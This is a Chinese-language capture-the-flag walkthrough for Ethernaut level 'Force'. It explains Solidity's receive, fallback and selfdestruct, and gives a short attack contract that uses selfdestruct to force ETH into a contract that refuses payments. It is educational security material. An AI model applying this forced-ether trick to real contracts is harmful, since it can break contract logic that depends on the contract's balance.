7. Force

Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x20B5c742dD8A63400644Ba85dd48E8FDB6908A7A

要求

有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

这可能有帮助:

  • Fallback 方法
  • 有时候攻击一个合约最好的方法是使用另一个合约.
  • 阅读上方的帮助页面, “控制台之外” 部分

分析

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

首先引入一个知识点 fallback。上一关已经简单介绍过 fallback方法,这次再扩展下。

Solidity支持两种特殊的回调函数,receive()fallback(),他们主要在两种情况下被使用:

  1. 接收ETH
  2. 处理合约中不存在的函数调用(代理合约proxy contract)

接收ETH函数 receive

receive()只用于处理接收ETH。一个合约最多有一个receive()函数,声明方式与一般函数不一样,不需要function关键字:receive() external payable { ... }receive()函数不能有任何的参数,不能返回任何值,必须包含externalpayable

1
2
3
4
5
6
// 定义事件
event Received(address Sender, uint Value);
// 接收ETH时释放Received事件
receive() external payable {
emit Received(msg.sender, msg.value);
}

回退函数 fallback

fallback()函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约proxy contractfallback()声明时不需要function关键字,必须由external修饰,一般也会用payable修饰,用于接收ETH:fallback() external payable { ... }

1
2
3
4
// fallback
fallback() external payable{
emit fallbackCalled(msg.sender, msg.value, msg.data);
}

receive和fallback的区别

receivefallback都能够用于接收ETH,他们触发的规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
触发fallback() 还是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()

简单来说,合约接收ETH时,msg.data为空且存在receive()时,会触发receive()msg.data不为空或不存在receive()时,会触发fallback(),此时fallback()必须为payable

receive()payable fallback()均不存在的时候,向合约发送ETH将会报错。

我们再来看 Force 合约,这里只定义了合约,没有定义 receivefallback 方法,到这里从调用不存在的合约方法触发 fallback 走不通,那还有没有其他方法可以往一个合约转账,还真有一个方法 selfdestruct

selfdestruct命令可以用来删除智能合约,并将该合约剩余ETH转到指定地址。selfdestruct是为了应对合约出错的极端情况而设计的。

selfdestruct使用起来非常简单:

1
selfdestruct(address payable recipient)

其中recipient是接收合约中剩余ETH的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract DeleteContract {

uint public value = 10;

constructor() payable {}

receive() external payable {}

function deleteContract() external {
// 调用selfdestruct销毁合约,并把剩余的ETH转给msg.sender
selfdestruct(payable(msg.sender));
}

function getBalance() external view returns(uint balance){
balance = address(this).balance;
}
}

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 7_Force.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    contract HackForce {
    address levelInstance;

    constructor(address _levelInstance) payable {
    levelInstance = _levelInstance;
    }

    function give() external payable {
    selfdestruct(payable(levelInstance));
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。VALUE 填入任意值。

  4. 再调用 give 函数,完成关卡。

后记

在solidity中,如果一个合约要接受 ether,fallback 方法必须设置为 payable

但是,并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0 之上。